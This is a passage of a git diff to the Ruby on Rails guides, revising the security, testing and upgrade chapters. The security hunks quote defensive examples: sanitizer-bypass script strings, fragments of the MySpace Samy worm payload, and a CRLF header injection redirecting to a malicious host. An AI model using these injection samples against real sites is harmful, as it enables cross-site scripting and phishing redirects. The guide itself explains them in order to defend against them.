Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: ```ruby strip_tags("some<<b>script>alert('hello')<</b>/script>") @@ -744,7 +752,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte lert('XSS')> ``` -This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks. +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks. #### Examples from the Underground @@ -760,9 +768,9 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. -Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. +Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. -In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. +In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. The MySpace Samy worm will be discussed in the CSS Injection section. @@ -784,13 +792,13 @@ So the payload is in the style attribute. But there are no quotes allowed in the <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> ``` -The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”: +The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML": ``` alert(eval('document.body.inne' + 'rHTML')); ``` -The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this: +The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this: ```html <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"> @@ -837,7 +845,7 @@ It is recommended to _use RedCloth in combination with a whitelist input filter_ ### Ajax Injection -NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ +NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. @@ -861,7 +869,7 @@ WARNING: _HTTP headers are dynamically generated and under certain circumstances HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area. -Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address: +Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address: ```ruby redirect_to params[:referer] @@ -888,7 +896,7 @@ HTTP/1.1 302 Moved Temporarily Location: http://www.malicious.tld ``` -So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ +So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ #### Response Splitting @@ -913,6 +921,49 @@ Content-Type: text/html Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._ +Unsafe Query Generation +----------------------- + +Due to the way Active Record interprets parameters in combination with the way +that Rack parses query parameters it was possible to issue unexpected database +queries with `IS NULL` where clauses. As a response to that security issue +([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), +[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ) +and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ)) +`deep_munge` method was introduced as a solution to keep Rails secure by default. + +Example of vulnerable code that could be used by attacker, if `deep_munge` +wasn't performed is: + +```ruby +unless params[:token].nil? + user = User.find_by_token(params[:token]) + user.reset_password! +end +``` + +When `params[:token]` is one of: `[]`, `[nil]`, `[nil, nil, ...]` or +`['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or +`IN ('foo', NULL)` where clauses still will be added to the SQL query. + +To keep rails secure by default, `deep_munge` replaces some of the values with +`nil`. Below table shows what the parameters look like based on `JSON` sent in +request: + +| JSON | Parameters | +|-----------------------------------|--------------------------| +| `{ "person": null }` | `{ :person => nil }` | +| `{ "person": [] }` | `{ :person => nil }` | +| `{ "person": [null] }` | `{ :person => nil }` | +| `{ "person": [null, null, ...] }` | `{ :person => nil }` | +| `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` | + +It is possible to return to old behaviour and disable `deep_munge` configuring +your application if you are aware of the risk and know how to handle it: + +```ruby +config.action_dispatch.perform_deep_munge = false +``` Default Headers --------------- @@ -951,7 +1002,7 @@ _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS at * X-Content-Type-Options _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file. * X-Content-Security-Policy -[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html) +[A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html) * Access-Control-Allow-Origin Used to control which sites are allowed to bypass same origin policies and send cross-origin requests. * Strict-Transport-Security @@ -960,7 +1011,7 @@ Used to control which sites are allowed to bypass same origin policies and send Environmental Security ---------------------- -It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/initializers/secret_token.rb`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information. +It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information. Additional Resources -------------------- diff --git a/guides/source/testing.md b/guides/source/testing.md index 416a8b592f..36d37f3af0 100644 --- a/guides/source/testing.md +++ b/guides/source/testing.md @@ -66,18 +66,34 @@ Here's a sample YAML fixture file: ```yaml # lo & behold! I am a YAML comment! david: - name: David Heinemeier Hansson - birthday: 1979-10-15 - profession: Systems development + name: David Heinemeier Hansson + birthday: 1979-10-15 + profession: Systems development steve: - name: Steve Ross Kellock - birthday: 1974-09-27 - profession: guy with keyboard + name: Steve Ross Kellock + birthday: 1974-09-27 + profession: guy with keyboard ``` Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them. +If you are working with [associations](/association_basics.html), you can simply +define a reference node between two different fixtures. Here's an example with +a belongs_to/has_many association: + +```yaml +# In fixtures/categories.yml +about: + name: About + +# In fixtures/articles.yml +one: + title: Welcome to Rails! + body: Hello world! + category: about +``` + #### ERB'in It Up ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users: @@ -92,7 +108,7 @@ user_<%= n %>: #### Fixtures in Action -Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps: +Rails by default automatically loads all fixtures from the `test/fixtures` folder for your models and controllers test. Loading involves three steps: * Remove any existing data from the table corresponding to the fixture * Load the fixture data into the table @@ -116,7 +132,7 @@ email(david.girlfriend.email, david.location_tonight) Unit Testing your Models ------------------------ -In Rails, unit tests are what you write to test your models. +In Rails, models tests are what you write to test your models. For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary. @@ -195,31 +211,9 @@ This line of code is called an _assertion_. An assertion is a line of code that Every test contains one or more assertions. Only when all the assertions are successful will the test pass. -### Preparing your Application for Testing - -Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands: - -```bash -$ rake db:migrate -... -$ rake db:test:load -``` - -The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately. - -NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist. - -#### Rake Tasks for Preparing your Application for Testing +### Maintaining the test database schema -| Tasks | Description | -| ------------------------------ | ------------------------------------------------------------------------- | -| `rake db:test:clone` | Recreate the test database from the current environment's database schema | -| `rake db:test:clone_structure` | Recreate the test database from the development structure | -| `rake db:test:load` | Recreate the test database from the current `schema.rb` | -| `rake db:test:prepare` | Check for pending migrations and load the test schema | -| `rake db:test:purge` | Empty the test database. | - -TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe` +In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql` into the test database. If migrations are still pending, an error will be raised. ### Running Tests @@ -254,7 +248,7 @@ To see how a test failure is reported, you can add a failing test to the `post_t ```ruby test "should not save post without title" do post = Post.new - assert !post.save + assert_not post.save end ``` @@ -278,7 +272,7 @@ In the output, `F` denotes a failure. You can see the corresponding trace shown ```ruby test "should not save post without title" do post = Post.new - assert !post.save, "Saved the post without a title" + assert_not post.save, "Saved the post without a title" end ``` @@ -343,6 +337,17 @@ Notice the 'E' in the output. It denotes a test with error. NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order. +When a test fails you are presented with the corresponding backtrace. By default +Rails filters that backtrace and will only print lines relevant to your +application. This eliminates the framework noise and helps to focus on your +code. However there are situations when you want to see the full +backtrace. simply set the `BACKTRACE` environment variable to enable this +behavior: + +```bash +$ BACKTRACE=1 rake test test/models/post_test.rb +``` + ### What to Include in Your Unit Tests Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model. @@ -357,28 +362,28 @@ Here's an extract of the assertions you can use with `minitest`, the default tes | Assertion | Purpose | | ---------------------------------------------------------------- | ------- | | `assert( test, [msg] )` | Ensures that `test` is true.| -| `refute( test, [msg] )` | Ensures that `test` is false.| +| `assert_not( test, [msg] )` | Ensures that `test` is false.| | `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.| -| `refute_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.| +| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.| | `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.| -| `refute_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is false.| +| `assert_not_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is false.| | `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.| -| `refute_nil( obj, [msg] )` | Ensures that `obj.nil?` is false.| +| `assert_not_nil( obj, [msg] )` | Ensures that `obj.nil?` is false.| | `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.| -| `refute_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.| +| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.| | `assert_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are within `delta` of each other.| -| `refute_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.| +| `assert_not_in_delta( expecting, actual, [delta], [msg] )` | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.| | `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.| | `assert_raises( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.| | `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.| | `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is an instance of `class`.| -| `refute_instance_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class`.| +| `assert_not_instance_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class`.| | `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.| -| `refute_kind_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class` and is not descending from it.| +| `assert_not_kind_of( class, obj, [msg] )` | Ensures that `obj` is not an instance of `class` and is not descending from it.| | `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` responds to `symbol`.| -| `refute_respond_to( obj, symbol, [msg] )` | Ensures that `obj` does not respond to `symbol`.| +| `assert_not_respond_to( obj, symbol, [msg] )` | Ensures that `obj` does not respond to `symbol`.| | `assert_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is true.| -| `refute_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is false.| +| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Ensures that `obj1.operator(obj2)` is false.| | `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?| | `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.| @@ -396,8 +401,8 @@ Rails adds some custom assertions of its own to the `test/unit` framework: | `assert_no_difference(expressions, message = nil, &block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| | `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| | `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.| -| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range| -| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.| +| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.| +| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.| | `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.| You'll see the usage of some of these assertions in the next chapter. @@ -422,10 +427,12 @@ Now that we have used Rails scaffold generator for our `Post` resource, it has a Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`. ```ruby -test "should get index" do - get :index - assert_response :success - assert_not_nil assigns(:posts) +class PostsControllerTest < ActionController::TestCase + test "should get index" do + get :index + assert_response :success + assert_not_nil assigns(:posts) + end end ``` @@ -511,12 +518,14 @@ You also have access to three instance variables in your functional tests: ### Setting Headers and CGI variables -Headers and cgi variables can be set directly on the `@request` -instance variable: +[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3) +and +[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1) +can be set directly on the `@request` instance variable: ```ruby # setting a HTTP Header -@request.headers["Accepts"] = "text/plain, text/html" +@request.headers["Accept"] = "text/plain, text/html" get :index # simulate the request with custom header # setting a CGI variable @@ -741,48 +750,53 @@ class UserFlowsTest < ActionDispatch::IntegrationTest private - module CustomDsl - def browses_site - get "/products/all" - assert_response :success - assert assigns(:products) + module CustomDsl + def browses_site + get "/products/all" + assert_response :success + assert assigns(:products) + end end - end - def login(user) - open_session do |sess| - sess.extend(CustomDsl) - u = users(user) - sess.https! - sess.post "/login", username: u.username, password: u.password - assert_equal '/welcome', path - sess.https!(false) + def login(user) + open_session do |sess| + sess.extend(CustomDsl) + u = users(user) + sess.https! + sess.post "/login", username: u.username, password: u.password + assert_equal '/welcome', sess.path + sess.https!(false) + end end - end end ``` Rake Tasks for Running your Tests --------------------------------- -You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project. +You don't need to set up and run your tests by hand on a test-by-test basis. +Rails comes with a number of commands to help in testing. +The table below lists all commands that come along in the default Rakefile +when you initiate a Rails project. | Tasks | Description | | ----------------------- | ----------- | -| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake test` as Rails will run all the tests by default| -| `rake test:controllers` | Runs all the controller tests from `test/controllers`| -| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`| -| `rake test:helpers` | Runs all the helper tests from `test/helpers`| -| `rake test:integration` | Runs all the integration tests from `test/integration`| -| `rake test:mailers` | Runs all the mailer tests from `test/mailers`| -| `rake test:models` | Runs all the model tests from `test/models`| -| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`| +| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default | +| `rake test:controllers` | Runs all the controller tests from `test/controllers` | +| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` | +| `rake test:helpers` | Runs all the helper tests from `test/helpers` | +| `rake test:integration` | Runs all the integration tests from `test/integration` | +| `rake test:mailers` | Runs all the mailer tests from `test/mailers` | +| `rake test:models` | Runs all the model tests from `test/models` | +| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` | +| `rake test:all` | Runs all tests quickly by merging all types and not resetting db | +| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db | Brief Note About `MiniTest` ----------------------------- -Ruby ships with a boat load of libraries. Ruby 1.8 provides `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing +Ruby ships with a vast Standard Library for all common use-cases including testing. Ruby 1.8 provided `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing us to use all of the basic assertions in our tests. Ruby 1.9 introduced `MiniTest`, an updated version of `Test::Unit` which provides a backwards compatible API for `Test::Unit`. You could also use `MiniTest` in Ruby 1.8 by installing the `minitest` gem. @@ -871,10 +885,9 @@ class PostsControllerTest < ActionController::TestCase private - def initialize_post - @post = posts(:one) - end - + def initialize_post + @post = posts(:one) + end end ``` @@ -896,7 +909,7 @@ Testing mailer classes requires some specific tools to do a thorough job. ### Keeping the Postman in Check -Your mailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected. +Your mailer classes - like every other part of your Rails application - should be tested to ensure that it is working as expected. The goals of testing your mailer classes are to ensure that: @@ -926,12 +939,11 @@ Here's a unit test to test a mailer named `UserMailer` whose action `invite` is require 'test_helper' class UserMailerTest < ActionMailer::TestCase - tests UserMailer test "invite" do # Send the email, then test that it got queued email = UserMailer.create_invite('me@example.com', 'friend@example.com', Time.now).deliver - assert !ActionMailer::Base.deliveries.empty? + assert_not ActionMailer::Base.deliveries.empty? # Test the body of the sent email contains what we expect it to assert_equal ['me@example.com'], email.from @@ -990,6 +1002,47 @@ class UserControllerTest < ActionController::TestCase end ``` +Testing helpers +--------------- + +In order to test helpers, all you need to do is check that the output of the +helper method matches what you'd expect. Tests related to the helpers are +located under the `test/helpers` directory. Rails provides a generator which +generates both the helper and the test file: + +```bash +$ rails generate helper User + create app/helpers/user_helper.rb + invoke test_unit + create test/helpers/user_helper_test.rb +``` + +The generated test file contains the following code: + +```ruby +require 'test_helper' + +class UserHelperTest < ActionView::TestCase +end +``` + +A helper is just a simple module where you can define methods which are +available into your views. To test the output of the helper's methods, you just +have to use a mixin like this: + +```ruby +class UserHelperTest < ActionView::TestCase + include UserHelper + + test "should return the user name" do + # ... + end +end +``` + +Moreover, since the test class extends from `ActionView::TestCase`, you have +access to Rails' helper methods such as `link_to` or `pluralize`. + Other Testing Approaches ------------------------ @@ -998,6 +1051,7 @@ The built-in `test/unit` based testing is not the only way to test Rails applica * [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use. * [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures. * [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures. +* [Fixture Builder](https://github.com/rdy/fixture_builder), a tool that compiles Ruby factories into fixtures before a test run. * [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests. * [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions. * [RSpec](http://relishapp.com/rspec), a behavior-driven development framework diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md index e7e28e21a3..da161f84c9 100644 --- a/guides/source/upgrading_ruby_on_rails.md +++ b/guides/source/upgrading_ruby_on_rails.md @@ -22,6 +22,384 @@ Rails generally stays close to the latest released Ruby version when it's releas TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing. +Upgrading from Rails 4.0 to Rails 4.1 +------------------------------------- + +### CSRF protection from remote `<script>` tags + +Or, "whaaat my tests are failing!!!?" + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means that your functional and integration tests that use + +```ruby +get :index, format: :js +``` + +will now trigger CSRF protection. Switch to + +```ruby +xhr :get, :index, format: :js +``` + +to explicitly test an XmlHttpRequest. + +If you really mean to load JavaScript from remote `<script>` tags, skip CSRF +protection on that action. + +### Spring + +If you want to use Spring as your application preloader you need to: + +1. Add `gem 'spring', group: :development` to your `Gemfile`. +2. Install spring using `bundle install`. +3. Springify your binstubs with `bundle exec spring binstub --all`. + +NOTE: User defined rake tasks will run in the `development` environment by +default. If you want them to run in other environments consult the +[Spring README](https://github.com/rails/spring#rake). + +### `config/secrets.yml` + +If you want to use the new `secrets.yml` convention to store your application's +secrets, you need to: + +1. Create a `secrets.yml` file in your `config` folder with the following content: + + ```yaml + development: + secret_key_base: + + test: + secret_key_base: + + production: + secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> + ``` + +2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to + set the SECRET_KEY_BASE environment variable for whichever users run the Rails + app in production mode. Alternately, you can simply copy the existing + `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml` + under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'. + +3. Remove the `secret_token.rb` initializer. + +4. Use `rake secret` to generate new keys for the `development` and `test` sections. + +5. Restart your server. + +### Changes to test helper + +If your test helper contains a call to +`ActiveRecord::Migration.check_pending!` this can be removed. The check +is now done automatically when you `require 'test_help'`, although +leaving this line in your helper is not harmful in any way. + +### Cookies serializer + +Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into +the signed and encrypted cookie jars. If you want to use the new `JSON`-based format +in your application, you can add an initializer file with the following content: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = :hybrid +``` + +This would transparently migrate your existing `Marshal`-serialized cookies into the +new `JSON`-based format. + +When using the `:json` or `:hybrid` serializer, you should beware that not all +Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects +will be serialized as strings, and `Hash`es will have their keys stringified. + +```ruby +class CookiesController < ApplicationController + def set_cookie + cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014 + redirect_to action: 'read_cookie' + end + + def read_cookie + cookies.encrypted[:expiration_date] # => "2014-03-20" + end +end +``` + +It's advisable that you only store simple data (strings and numbers) in cookies. +If you have to store complex objects, you would need to handle the conversion +manually when reading the values on subsequent requests. + +If you use the cookie session store, this would apply to the `session` and +`flash` hash as well. + +### Flash structure changes + +Flash message keys are +[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They +can still be accessed using either symbols or strings. Lopping through the flash +will always yield string keys: + +```ruby +flash["string"] = "a string" +flash[:symbol] = "a symbol" + +# Rails < 4.1 +flash.keys # => ["string", :symbol] + +# Rails >= 4.1 +flash.keys # => ["string", "symbol"] +``` + +Make sure you are comparing Flash message keys against strings. + +### Changes in JSON handling + +There are a few major changes related to JSON handling in Rails 4.1. + +#### MultiJSON removal + +MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576) +and has been removed from Rails. + +If your application currently depend on MultiJSON directly, you have a few options: + +1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future + +2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead. + +WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with +`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and +deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load). + +#### JSON gem compatibility + +Historically, Rails had some compatibility issues with the JSON gem. Using +`JSON.generate` and `JSON.dump` inside a Rails application could produce +unexpected errors. + +Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The +JSON gem APIs will function as normal, but they will not have access to any +Rails-specific features. For example: + +```ruby +class FooBar + def as_json(options = nil) + { foo: 'bar' } + end +end + +>> FooBar.new.to_json # => "{\"foo\":\"bar\"}" +>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\"" +``` + +#### New JSON encoder + +The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON +gem. For most applications, this should be a transparent change. However, as +part of the rewrite, the following features have been removed from the encoder: + +1. Circular data structure detection +2. Support for the `encode_json` hook +3. Option to encode `BigDecimal` objects as numbers instead of strings + +If your application depends on one of these features, you can get them back by +adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) +gem to your Gemfile. + +### Usage of `return` within inline callback blocks + +Previously, Rails allowed inline callback blocks to use `return` this way: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { return false } # BAD +end +``` + +This behaviour was never intentionally supported. Due to a change in the internals +of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a +`return` statement in an inline callback block causes a `LocalJumpError` to +be raised when the callback is executed. + +Inline callback blocks using `return` can be refactored to evaluate to the +returned value: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { false } # GOOD +end +``` + +Alternatively, if `return` is preferred it is recommended to explicitly define +a method: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save :before_save_callback # GOOD + + private + def before_save_callback + return false + end +end +``` + +This change applies to most places in Rails where callbacks are used, including +Active Record and Active Model callbacks, as well as filters in Action +Controller (e.g. 